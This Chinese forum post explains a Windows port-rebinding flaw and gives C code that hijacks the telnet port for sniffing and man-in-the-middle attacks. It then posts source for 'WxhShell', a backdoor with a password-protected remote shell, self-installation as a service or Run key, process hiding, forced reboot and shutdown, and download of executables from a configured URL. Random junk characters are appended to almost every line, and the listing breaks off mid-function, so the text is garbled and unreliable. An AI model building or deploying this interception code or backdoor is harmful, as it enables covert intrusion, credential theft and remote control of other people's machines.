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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CF4Oh-f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GFASF,+  
XwHu:v'=  
  saddr.sin_family = AF_INET; ! 0>!tW  
}QX2 :a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q2_WH)J 3  
P;HVLflu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xdFP$Y~ogy  
i5L+8kx4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rzYobOKd#  
Ti9:'I  
  这意味着什么?意味着可以进行如下的攻击: fY)4]=L  
Zh@4_Z9n!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P ],)  
hB2s$QS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rC1qGzg\a  
eCPKpVhP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y1yvI  
lzr>WbM{{p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BM=V,BZy  
IDiUn! 6Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *tbpFk4/  
d @^o/w8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [i<$ZP  
n!CP_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3;t@KuQ66  
(:j+[3Ht  
  #include N$ qNe'b  
  #include n}ZBU5_  
  #include \U<F\i  
  #include    8IT_mjj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )LMBxyS  
  int main() n8;G,[GM80  
  { WW8YB"  
  WORD wVersionRequested; *'`3]!A  
  DWORD ret; y ? {PoNI  
  WSADATA wsaData; mNBpb}  
  BOOL val; '^.=gTk  
  SOCKADDR_IN saddr; ]X"i~$T1S  
  SOCKADDR_IN scaddr; J4 '!  
  int err; 7Y @=x#  
  SOCKET s; J7 *G/F  
  SOCKET sc; yoA*\V  
  int caddsize; &]"_pc/>m  
  HANDLE mt; v @I^:I  
  DWORD tid;   =aCIaL&9Y  
  wVersionRequested = MAKEWORD( 2, 2 ); *~t$k56  
  err = WSAStartup( wVersionRequested, &wsaData ); yw3U"/yw  
  if ( err != 0 ) { fAY2V%Rft  
  printf("error!WSAStartup failed!\n"); #(7RX}  
  return -1; K9z_=c+  
  } iK6<^,]'  
  saddr.sin_family = AF_INET; OL mBh3&  
   Ygkd~g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x1hs19s  
?+}E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4~pO>6P   
  saddr.sin_port = htons(23); %f3Nml  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BB73' W8y  
  { D !D%.  
  printf("error!socket failed!\n"); UNZVu~WnF  
  return -1; 1WA""yb  
  } I;":O"ij\  
  val = TRUE; 1r-,V X7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ow>[#.ua  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gQ+_&'C  
  { Lw2YP[CR  
  printf("error!setsockopt failed!\n"); :EldP,s#x%  
  return -1; WG[0$j  
  } cdU >iB,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0 *Yivx6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bM3'm$34  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cX=b q_  
8KdcLN@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =ILo`Q~  
  { ]I*#R9  
  ret=GetLastError(); $, @ rKRY  
  printf("error!bind failed!\n"); c,s<q j  
  return -1; VT~ ^:-]  
  } fS$Yl~-m?  
  listen(s,2); MvjwP?J]  
  while(1) >5@ 0lYhH  
  { PQ!?gj  
  caddsize = sizeof(scaddr); zZ"')+7q&%  
  //接受连接请求 N@`9 ~JS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Pc:'>,3!V3  
  if(sc!=INVALID_SOCKET) x?k |i}Q  
  { 1nM?>j%k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K/LaA4  
  if(mt==NULL) E":":AC#  
  { F9G$$%Q-Z  
  printf("Thread Creat Failed!\n"); YwTtI ID%  
  break; sVl:EVv  
  } C g,w6<7  
  } ,4I6RwB.  
  CloseHandle(mt); Hn2Q1lF-ip  
  } %;XuA*e  
  closesocket(s); M(f*hOG{Y  
  WSACleanup(); 9!OCilG  
  return 0; |`9zE]  
  }   {}gk4 xr  
  DWORD WINAPI ClientThread(LPVOID lpParam) p.7p,CyB  
  { Mh B=+S[@  
  SOCKET ss = (SOCKET)lpParam; ON=ley  
  SOCKET sc; K1:)J.ca_  
  unsigned char buf[4096]; "Q!{8 9Y  
  SOCKADDR_IN saddr; HDG"a&$   
  long num; :r+ 1>F$o  
  DWORD val; /u1zRw  
  DWORD ret; +[nYu)puP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dufHd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .TU15AAc  
  saddr.sin_family = AF_INET; \A"a>e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |&*rSp2iH  
  saddr.sin_port = htons(23); .:Xe*Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uPD_s[  
  { g}`CdVQ2M<  
  printf("error!socket failed!\n"); Z19y5?uR  
  return -1; fC:\Gh5  
  } z>#$#:Z4  
  val = 100; Wl"fh_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A)0m~+?{J  
  { ApB'O;5  
  ret = GetLastError(); ( I~XwP&  
  return -1; "[Lp-4A\  
  } 4p g(QeR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <t2?Oii;  
  { ::t !W7W  
  ret = GetLastError(); qoq<dCt3  
  return -1; \3UdC{~  
  } Xc<9[@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;L{y3CWT  
  { ~0  t'+.  
  printf("error!socket connect failed!\n"); NWcF9z%@  
  closesocket(sc); rV{e[fGd  
  closesocket(ss); 2Nszxvq,  
  return -1; g9`ytWmM  
  } Hh/#pGf2  
  while(1) 4}b:..Ku  
  { Fsdn2{g8U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !S<~(Ujyw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7~g0{W>Zm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x@x@0k`A2  
  num = recv(ss,buf,4096,0); A~t7I{`  
  if(num>0) L 3Iz]D3s  
  send(sc,buf,num,0); ucO]&'hu:  
  else if(num==0) m)2U-3*iX  
  break; #@`^  .  
  num = recv(sc,buf,4096,0); 'S ;vv]}Gs  
  if(num>0) =1uI >[aN  
  send(ss,buf,num,0); |1x,_uyQ%  
  else if(num==0) cZ,_O~  
  break; L~zet-3UNf  
  } mcracj[ B  
  closesocket(ss); !pXz-hxKT  
  closesocket(sc); ZaV@}=Rd8  
  return 0 ; G 3x1w/L  
  } @5ybBh]   
Gj?q+-d!(5  
sJvn#cS  
========================================================== WNi<|A#T{  
U3QnWPt}>  
下边附上一个代码,,WXhSHELL yLX\pkAt4  
S^.=j oI  
========================================================== q5Mif\  
gA*zFhGVS7  
#include "stdafx.h" )<&QcO_  
u?i1n=Ne  
#include <stdio.h> oE&[W >,x  
#include <string.h> q fe#kF9  
#include <windows.h> YWdvL3Bgk,  
#include <winsock2.h> oPV"JGa/B4  
#include <winsvc.h> |^&e\8>.  
#include <urlmon.h> t~M_NEPxV  
HB^azHr  
#pragma comment (lib, "Ws2_32.lib") u,q#-d0g;  
#pragma comment (lib, "urlmon.lib") Wov_jVdN\  
WBdb[N6\  
#define MAX_USER   100 // 最大客户端连接数 !{LwX Kf  
#define BUF_SOCK   200 // sock buffer dWSH\wm+  
#define KEY_BUFF   255 // 输入 buffer Gz:a1-x  
R(fR1  
#define REBOOT     0   // 重启 M`FL&Ac  
#define SHUTDOWN   1   // 关机 |d8o<Q  
~]Jfg$'  
#define DEF_PORT   5000 // 监听端口 d0d2QRX  
I`l< }M  
#define REG_LEN     16   // 注册表键长度 aMWNZv  
#define SVC_LEN     80   // NT服务名长度 V7<} ;Lzm  
Nt?B(.G  
// 从dll定义API gB#t"s)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ty ?y&~axk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c`cPGEv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wj0([n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UF tTt`N2  
.*{LPfD|  
// wxhshell配置信息 [LK 9^/V  
struct WSCFG { 191)JWfa  
  int ws_port;         // 监听端口 |{(ynZ]R  
  char ws_passstr[REG_LEN]; // 口令 W=/B[@3'  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;nbvn  
  char ws_regname[REG_LEN]; // 注册表键名 BH^q.p_#>X  
  char ws_svcname[REG_LEN]; // 服务名 t<-Iiq+tL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .W\Fa2}%av  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W=drp>Uj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <\u%ZB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *!r8HV/<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9j/B3CjW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3mWN?fC  
{ .AFg/Z  
}; i*3'O:Gq  
'"6VfF)*  
// default Wxhshell configuration BTB,a$P/  
struct WSCFG wscfg={DEF_PORT, 8@!SM  
    "xuhuanlingzhe", F-m1GG0s  
    1, p-Z5{by  
    "Wxhshell", (Xx @_  
    "Wxhshell", };|'8'5  
            "WxhShell Service", D*b> l_  
    "Wrsky Windows CmdShell Service",  -H{{  
    "Please Input Your Password: ", / wEr>[8S  
  1, "qF8'58  
  "http://www.wrsky.com/wxhshell.exe", Z"A:^jZ<s  
  "Wxhshell.exe" RSy1 wp4W  
    }; i^yQ; 2 -  
x9a0J1Nb-h  
// 消息定义模块 mY-r:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,%u\2M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l ^{]pD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &" =inkh  
char *msg_ws_ext="\n\rExit."; 3.soCyxmc  
char *msg_ws_end="\n\rQuit."; 0=~Ji_5mB  
char *msg_ws_boot="\n\rReboot..."; w1.~N`g$  
char *msg_ws_poff="\n\rShutdown..."; I3$v-OiL  
char *msg_ws_down="\n\rSave to "; ZC05^  
b8O:@j2  
char *msg_ws_err="\n\rErr!"; tUzuel*  
char *msg_ws_ok="\n\rOK!"; l-5-Tf&j  
% L]xar  
char ExeFile[MAX_PATH]; cOIshT1  
int nUser = 0; @qeI4io-n  
HANDLE handles[MAX_USER]; u4%-e )$X  
int OsIsNt; /#blXI  
G'!Hc6OZ  
SERVICE_STATUS       serviceStatus; ]F,5Oh :OY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]^dXB 0  
} pA0mW9  
// 函数声明 T2k5\r8  
int Install(void); =r`>tWs  
int Uninstall(void); 07n=H~yU  
int DownloadFile(char *sURL, SOCKET wsh); P'zA=Rd&~>  
int Boot(int flag); Dp>/lkk.  
void HideProc(void); $H?v  
int GetOsVer(void); xHHG| u  
int Wxhshell(SOCKET wsl); m%akx@{WL  
void TalkWithClient(void *cs); /|Zk$q.\  
int CmdShell(SOCKET sock); Dzb@H$BQ7  
int StartFromService(void); w}+jfO9  
int StartWxhshell(LPSTR lpCmdLine); ~Xa >;  
23 3jT@Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !s5 _JO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1--5ok h  
y "gYv  
// 数据结构和表定义 '(=krM9;  
SERVICE_TABLE_ENTRY DispatchTable[] = sOv:/'  
{ [i\K#O +f  
{wscfg.ws_svcname, NTServiceMain}, p9fx~[_5/  
{NULL, NULL} %-> X$,Q :  
}; FK>8(M/  
CPAizS  
// 自我安装 90 (JP-  
int Install(void) rqSeh/<iD  
{ ^C_ ;uz  
  char svExeFile[MAX_PATH]; G8 H=xr#  
  HKEY key; 7iT#dpF/A  
  strcpy(svExeFile,ExeFile); bvi Y.G3  
Z sv(/>  
// 如果是win9x系统,修改注册表设为自启动 r3;?]r.}7  
if(!OsIsNt) { Xbe=_9l&p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^_n(>$ EK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1)w^.8f  
  RegCloseKey(key); \\xoOA.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g=Rl4F]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;5M I8  
  RegCloseKey(key); 22(7rUkI  
  return 0; 6;Wns'  
    } 7 wH9w  
  }  YH@p\#Y  
} %xPJJ $P  
else { M*$#j|  
6C7|e00v  
// 如果是NT以上系统,安装为系统服务 7M7sq-n5z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rUmaKh?v|X  
if (schSCManager!=0) 2Jm#3zFYz3  
{ }}G`yfs}r  
  SC_HANDLE schService = CreateService RR |Z,  
  ( 0QcC5y;  
  schSCManager, i_Ol vuy~  
  wscfg.ws_svcname, +XMKRt  
  wscfg.ws_svcdisp, y<|8OTT  
  SERVICE_ALL_ACCESS, +~Wg@   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k nTCX  
  SERVICE_AUTO_START, D?A3p6%  
  SERVICE_ERROR_NORMAL, K+|G9  
  svExeFile, 3qggdi  
  NULL, Y#7sDd!N|  
  NULL, SI\ O>a 9{  
  NULL, m#|;?z  
  NULL, b v5BV  
  NULL m?GBvL$  
  ); 1)Z4 (_  
  if (schService!=0) Q!.JV. (  
  { r^zra|]  
  CloseServiceHandle(schService); dT?mMTKn+  
  CloseServiceHandle(schSCManager); #l 7(W G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VY G o;  
  strcat(svExeFile,wscfg.ws_svcname); rJtpTV@.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1{1 5#W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~'lYQ[7  
  RegCloseKey(key); pm` f? Py  
  return 0; %^pm~ck!  
    } mM(Z8PA 9-  
  } `?=Y^+*!-  
  CloseServiceHandle(schSCManager); yVfF *nG  
} CT{mzC8  
} -RI&uFqOI  
YUjKOPN  
return 1; Be;l!]i  
} yo^M>^P\N  
Jo'~oZ$  
// 自我卸载 lq}m0}9<  
int Uninstall(void) <]Btx;}  
{ T0|hp7WM  
  HKEY key; d C>[[_  
,eSII2,r4  
if(!OsIsNt) { adY ,Nz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tZ>'tE   
  RegDeleteValue(key,wscfg.ws_regname); jI/#NCKE  
  RegCloseKey(key); C[R|@9NI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cB0"vbdO  
  RegDeleteValue(key,wscfg.ws_regname); fL(_V/p^  
  RegCloseKey(key); weH;,e*r  
  return 0; k 5gvo  
  } ^UmhSxQ##  
} zD@RW<M  
} y?'Z'  
else { 0d/ f4  
ak_n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sW]>#e  
if (schSCManager!=0) W4#E&8g%  
{ ]?sw<D{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pnpf/T{xpM  
  if (schService!=0) lw`$(,  
  { ~P fk   
  if(DeleteService(schService)!=0) { d1}cXSQ1T  
  CloseServiceHandle(schService); T s9go  
  CloseServiceHandle(schSCManager); K!a7Hg  
  return 0; >@tJ7m M  
  } Z{^Pnit  
  CloseServiceHandle(schService); o0kKf+[  
  } LS/ZZAN u  
  CloseServiceHandle(schSCManager); Pd+Wb3  
} J3 xi5S  
} 0ZJrK\K;  
NQx>u  
return 1; Dc9Fb^]QOG  
} QfV:&b`  
)uO 3v  
// 从指定url下载文件 CqLAtS X7  
int DownloadFile(char *sURL, SOCKET wsh) 1`2lq~=GV  
{ ,8.zbr  
  HRESULT hr; LIRL`xU7  
char seps[]= "/"; Og1Hg B3v  
char *token; ^S:I38gR#q  
char *file; ? @- t.N  
char myURL[MAX_PATH]; ]]hsLOM]  
char myFILE[MAX_PATH]; /6FPiASbS  
RY}:&vWDk  
strcpy(myURL,sURL); Tffdm  
  token=strtok(myURL,seps); Of;$ VK'  
  while(token!=NULL) NKYHJf2?x  
  { +7Qj%x\  
    file=token; MtG~ O;?8  
  token=strtok(NULL,seps); }LwKi-G?  
  } Lpk`qJ  
T^@P.zX  
GetCurrentDirectory(MAX_PATH,myFILE); m }\L i]  
strcat(myFILE, "\\"); 8Yw V"+Fu/  
strcat(myFILE, file); &ER,;^H `6  
  send(wsh,myFILE,strlen(myFILE),0); ,-)ww:  
send(wsh,"...",3,0); "|GX%> /  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bg}(Sy  
  if(hr==S_OK) tC&jzN"  
return 0; ogJ>`0 +J  
else 2+C 8w%F8  
return 1; Q oWjC  
sf,9Ym  
} $uUJV% EX  
}4_c~)9Q  
// 系统电源模块 71G00@&w9D  
int Boot(int flag) -O6\!Wo=-  
{ ++CL0S$e  
  HANDLE hToken; yHxi^D]  
  TOKEN_PRIVILEGES tkp; -hKtd3WbT  
+||[H)qym  
  if(OsIsNt) { ~!ICBF~j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^"4u1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QW>(LGG=  
    tkp.PrivilegeCount = 1; 7WN$ rl5/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A5YS "i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fVxRK\a\\  
if(flag==REBOOT) { k6??+b:rE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B:tGD@  
  return 0; MJ~)CiKgN  
} ,CjJO -  
else { 0u8(*?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YL@d+ -\  
  return 0; ?`Som_vKO  
} q^+Z>   
  } 3bMUsyJ2  
  else { C lzz!v  
if(flag==REBOOT) { Ge4 tc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6| {uZNz  
  return 0; uT{.\qHo  
} 6T=zHFf~  
else { Zbjj>*2%^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;@I}eZ,f$  
  return 0; O:(%m  
}  eZ +uW0  
} RYKV?f#[H  
My\  
return 1; f>C|qDmT  
} be5NasC  
0Z>oiBr4  
// win9x进程隐藏模块 ~*uxKEH  
void HideProc(void) w\3'wD!  
{  kn|z  
^9I^A!w=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "ktC1y1  
  if ( hKernel != NULL ) Ue0Q| h  
  { k0R;1lZ0n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z/t:gc.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }V % b  
    FreeLibrary(hKernel); n)rF!a  
  } O5p]E7/e  
fO{E65uA  
return; D^H<)5d9  
} Gg9NG`e6I  
^, KN@  
// 获取操作系统版本 JTg0T+  
int GetOsVer(void) iiZK^/P$  
{ ()+;KF8  
  OSVERSIONINFO winfo; /A) v $Bv=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t#h<'?\E  
  GetVersionEx(&winfo); 'zhw]L;'g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _;+N=/l0  
  return 1; <ArP_! `3  
  else !j.jvI%e;  
  return 0; _A .?:'-  
} 20f):A6  
_"`U.!3*  
// 客户端句柄模块 kM\O2 ay  
int Wxhshell(SOCKET wsl) ;zO(bj>  
{ jq&$YmWp  
  SOCKET wsh; l@om2|B  
  struct sockaddr_in client; :1wMGk  
  DWORD myID; U;:,$]+  
:22IY> p  
  while(nUser<MAX_USER) ; (+r)r_  
{ 0R2 AhA#  
  int nSize=sizeof(client); [y T4n.f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0fPqO2  
  if(wsh==INVALID_SOCKET) return 1; wQ,RZO3  
:*!u\lV\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VBssn]w  
if(handles[nUser]==0) pstQithS  
  closesocket(wsh); 5Ffz^;i  
else O/\jkF  
  nUser++; Sn/~R|3XA7  
  } (K+TqJw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [#td  
puv*p %E  
  return 0; O.E   
} ]Nvtiw 6  
DwZt.*  
// 关闭 socket WU1o4&OF  
void CloseIt(SOCKET wsh) ~&~%qu  
{ D.<CkD B  
closesocket(wsh); j#U?'g  
nUser--; T}[W')[s  
ExitThread(0); LZG^\c$  
} -i'T!Qg1  
Q[p0bD:  
// 客户端请求句柄 UUY-EC7X  
void TalkWithClient(void *cs) *<U&DOYV:  
{ [JVI@1T  
KX)xCR~  
  SOCKET wsh=(SOCKET)cs; q'2PG@  
  char pwd[SVC_LEN]; -H`G6oMOO  
  char cmd[KEY_BUFF]; &u"*vG (U[  
char chr[1]; `z)!!y  
int i,j; RQ{w`> K  
ok\+$+ $ju  
  while (nUser < MAX_USER) { "\BP+AF  
gH\r# wy|  
if(wscfg.ws_passstr) { 7"xd'\c@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ai->,<Ig]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d!KX.K\NM,  
  //ZeroMemory(pwd,KEY_BUFF); D-3/?"n  
      i=0; !Y]}& pUP  
  while(i<SVC_LEN) { fsjA7)/  
y=vH8D]%X  
  // 设置超时 ^ MJGY,r6b  
  fd_set FdRead; 31>k3IP&  
  struct timeval TimeOut; 0uU%jN$  
  FD_ZERO(&FdRead); ITc/aX  
  FD_SET(wsh,&FdRead); E}@8sY L  
  TimeOut.tv_sec=8; C3@.75-E  
  TimeOut.tv_usec=0; fe37T@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HB`pK'gz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xe+&/J5b  
+X*`}-3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _;B!6cRLps  
  pwd=chr[0]; Xq>e]#gR  
  if(chr[0]==0xd || chr[0]==0xa) { DQlaSk4hF_  
  pwd=0; ]Hd 0 Y%  
  break; X^|oY]D  
  } Y6L+3*Qt  
  i++; U[A*A^$c}  
    } doR'=@ W  
Q5,@ P?  
  // 如果是非法用户,关闭 socket z)VIbEy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k@8#Byl|  
} Gr6ma*)y~t  
Ar<OP'C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tc88U8Gc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z}Z`kq+C  
YQ]H3GA  
while(1) { =` i 7?  
Eq8OAuN  
  ZeroMemory(cmd,KEY_BUFF); 9>i6oF]Oq  
GVl u4  
      // 自动支持客户端 telnet标准   KFZ[gqW8YY  
  j=0; xapkhIW2\  
  while(j<KEY_BUFF) { N9n1s2;o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); __ mtZ{  
  cmd[j]=chr[0]; h+74W0 $  
  if(chr[0]==0xa || chr[0]==0xd) { 4iLU "~  
  cmd[j]=0; M)J*Df0@  
  break; nUd\4;J#  
  } *2AQ'%U~  
  j++; .d "+M{I  
    } 1!f'nS  
,oG"wgf  
  // 下载文件 + kF[Oh#  
  if(strstr(cmd,"http://")) { GBphab|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N/%#GfXx  
  if(DownloadFile(cmd,wsh)) xF/DYXC{8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lXPn]iLJ  
  else UeICn@)\y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =+"'=o  
  } 1}BNG,n  
  else { 5i^vN"J  
9/$P_Q:3  
    switch(cmd[0]) { Lq[wabF  
  f oVD+\~Y  
  // 帮助 vUK>4^{J5  
  case '?': { O2,g]t~C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); btF%}<o)  
    break; ?8,N4T0)  
  } cLU*Tx\  
  // 安装 -$)Et|  
  case 'i': { SNU bY6  
    if(Install()) Q*C4  q`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h(8;7} K  
    else JKT+ q*V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DXz8C -  
    break; 7:L~n(QpP  
    } S <_pGz$V  
  // 卸载 +zdkdS,2<  
  case 'r': { "r V4[MVxt  
    if(Uninstall()) 'U"3'jh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lkZC?--H  
    else _cw ^5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %~5Q^3$O  
    break; J3x7i8  
    } #P-HV  
  // 显示 wxhshell 所在路径 !5OMAWNU@  
  case 'p': { mG~y8nUtp  
    char svExeFile[MAX_PATH]; Qg>GW  
    strcpy(svExeFile,"\n\r"); +7/*y}.U  
      strcat(svExeFile,ExeFile); <PN;D#2bh  
        send(wsh,svExeFile,strlen(svExeFile),0); ptv 4v[gQ  
    break; 'Xl>,\'6  
    } 'TrrOq4  
  // 重启 R$fIb}PDr  
  case 'b': { Gr@{p"./z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [T}]Ma*CS  
    if(Boot(REBOOT)) g$"eI/o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *wB-lg7%  
    else { ]0i2 ]=J&,  
    closesocket(wsh); j& o+KV  
    ExitThread(0); /mwr1GU  
    } ba9<(0`  
    break; (MoTG^MrBY  
    } /eRtj:9M  
  // 关机  |~uzQU7  
  case 'd': { $ XsQ e  
